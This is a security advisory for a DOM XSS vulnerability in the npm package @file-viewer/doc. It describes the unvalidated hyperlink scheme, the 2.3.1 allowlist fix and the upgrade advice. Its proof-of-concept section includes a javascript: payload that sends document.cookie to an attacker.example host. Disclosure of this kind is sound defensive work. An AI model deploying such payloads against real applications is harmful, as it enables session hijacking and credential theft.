high · 8.2CVE-2026-91127Sep 18, 2026

CVE-2026-91127: @file-viewer/doc DOM XSS via Unsafe Hyperlink Scheme in Legacy DOC Renderer

Rohit Hatagale
AI Security Researcher, SecureLayer7

A crafted .doc file with a javascript: hyperlink can execute attacker-controlled script in the browser when a viewer clicks the rendered link, because the legacy DOC renderer passed hyperlink targets…

Package@file-viewer/doc
Ecosystemnpm
Affected<= 2.3.0
Fixed in2.3.1

The problem

The legacy DOC renderer in @file-viewer/doc 2.3.0 and earlier HTML-escaped hyperlink text but never validated the URL scheme of the hyperlink target itself. Any scheme, including javascript:, vbscript:, and data:, was emitted verbatim into the href attribute of the rendered anchor tag.

An attacker who controls a .doc file (for example, an untrusted attachment) can embed a hyperlink whose target is a javascript: URI. When a user clicks that link inside the viewer, the browser executes the script in the embedding application's origin. The impact is full same-origin script execution: session hijack, credential theft, or further DOM manipulation.

Proof of concept

A working proof-of-concept for CVE-2026-91127 in @file-viewer/doc, with the exact payload below.

text
Place the following as the hyperlink URL field inside a legacy .doc file (HYPERLINK field instruction). The pre-2.3.1 renderer emits this value verbatim into href:

javascript:fetch('https://attacker.example/x?c='+document.cookie)

Minimal proof-of-concept field instruction in raw .doc XML / field syntax:
{ HYPERLINK "javascript:alert(document.domain)" }

Clicking the rendered anchor in the viewer triggers the payload in the embedding origin.

The root cause is CWE-83 (Improper Neutralization of Script in Attributes, specifically href). The renderer applied HTML entity-encoding to the visible link text, which is correct, but it treated the href value as already safe and wrote it to the DOM without a scheme allowlist.

Because browsers interpret any href whose scheme is javascript: as a script URI, HTML-escaping the surrounding markup provides no protection at all.

The fix in 2.3.1 (commit ef045680) centralizes all link emission through a new sanitization layer that strips control characters, collapses scheme-confusion tricks (tab/newline insertion, mixed case, URL-encoding), and then compares the normalized scheme against an explicit allowlist: http, https, mailto, tel, relative paths, and internal bookmark anchors (#...).

Everything else, including javascript:, vbscript:, and data:, is either blocked outright or replaced with a safe no-op. Mount-boundary sanitization is added as defense in depth. The payload above is derived directly from reading the advisory description of what the allowlist now blocks, because the patch commit diff is not yet indexed publicly.

The fix

Upgrade @file-viewer/doc to 2.3.1 or later. Users of the msdoc-viewer compatibility package must upgrade to 0.2.2 or later. No configuration workaround exists for older versions: the scheme check is entirely absent before 2.3.1.

Reported by shashank420.

References: [1][2][3][4]

Related research